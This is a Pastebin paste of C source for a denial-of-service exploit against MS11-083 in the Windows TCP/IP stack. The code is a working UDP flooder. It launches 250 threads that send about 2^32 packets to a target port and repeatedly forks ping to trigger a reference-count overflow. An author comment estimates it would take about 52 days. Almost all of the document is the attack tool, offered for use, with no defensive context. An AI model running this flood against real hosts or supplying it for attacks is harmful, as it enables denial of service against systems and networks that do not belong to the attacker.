Advertisement
Guest User

MS11-083 PoC winnuke2011.c

a guest
Nov 11th, 2011
3,599
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.97 KB | None | 0 0
  1. /*
  2. * MS11-083 DoS/PoC exploit
  3. * ========================
  4. * This attempts to trigger the ICMP refCount overflow  
  5. * in TCP/IP stack of Win7/Vista/Win2k8 hosts. This
  6. * requires sending 2^32 UDP packets to a host on a closed
  7. * port, or 4,294,967,296 packets. A dereference function
  8. * must be called that is not triggered via UDP but ICMP  
  9. * echo packets. This exploit creates 250 threads and
  10. * floods a host with UDP packets and then attempts to
  11. * trigger the de-ref using ping. I calculated that it
  12. * would take approximately 52 days for the host to
  13. * enter a condition where this vulnerability is
  14. * triggerable.
  15. *
  16. * -- prdelka
  17. */
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <pthread.h>
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netinet/in.h>
  24. #include <arpa/inet.h>
  25. #include <netdb.h>
  26. #include <stdio.h>
  27. #include <unistd.h>
  28. #include <string.h>
  29. #include <sys/time.h>
  30.  
  31. int port;
  32. int active = 0;
  33. pthread_mutex_t mutexactive;
  34. void *sendpackets(void *ptr);
  35.  
  36. int main(int argc, char *argv[]) {
  37.         pthread_t thread;
  38.         int iret,lthreads;
  39.     pid_t pid;
  40.     printf("[+] MS11-083 DoS/PoC exploit\n");
  41.     if(argc<3){
  42.         printf("[!] Usage : %s <server> <port>\n", argv[0]);
  43.         exit(1);
  44.     }
  45.     char *const args[] = {"ping","-c","1",argv[1],NULL};
  46.     char *const envp[] = {"",NULL};
  47.     port = atoi(argv[2]);
  48.     for(lthreads=0;lthreads<250;lthreads++){//UDP flood
  49.         iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
  50.         printf("[-] Thread number %d started\n",lthreads);
  51.         sleep(1);
  52.     }
  53.     printf("[-] One does not simply barrel roll into Mordor\n");
  54.     while(active){
  55.         pid = fork();
  56.         if(pid==0){// trigger deref.
  57.             execve("/sbin/ping",args,envp);
  58.         };
  59.         sleep(15);
  60.     }
  61.     printf("[-] You are finished. Patience is a virtue.\n");
  62.     exit(0);
  63. }
  64.  
  65. void *sendpackets(void *ptr)
  66. {
  67.     int sd, rc, n, echoLen, flags, error, timeOut;
  68.     unsigned long i;
  69.     struct sockaddr_in remoteServAddr;
  70.     struct hostent *h;
  71.     char str[41];
  72.     pthread_mutex_lock(&mutexactive);
  73.     active++;
  74.     pthread_mutex_unlock(&mutexactive);
  75.     srand(time(NULL));
  76.     for (i = 0;i < 40;++i){
  77.         str[i] = (char)((rand() % 78) + 30);
  78.     }
  79.     str[40] = '\0'; // yes this was off-by-one. :(
  80.     printf("[-] Sending payload '%s'\n",str);
  81.     h = gethostbyname(ptr);
  82.     if(h==NULL) {
  83.             printf("unknown host '%s' \n",(char*)ptr);
  84.             exit(1);
  85.     }
  86.     remoteServAddr.sin_family = h->h_addrtype;
  87.     memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);
  88.     remoteServAddr.sin_port = htons(port);
  89.     sd = socket(AF_INET,SOCK_DGRAM,0);
  90.     if(sd<0){
  91.         printf("[!] Cannot open socket\n");
  92.         pthread_exit((void*)0);
  93.     }
  94.     flags = 0;
  95.     for(i=0;i<4294967295;i++){
  96.         rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
  97.         if(rc<0){
  98.             printf("[!] Cannot send data\n");
  99.                 close(sd);
  100.             pthread_exit((void*)0);
  101.             }
  102.     }
  103.     pthread_mutex_lock(&mutexactive);
  104.     active--;
  105.     pthread_mutex_unlock(&mutexactive);
  106.     pthread_exit(NULL);
  107. }
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement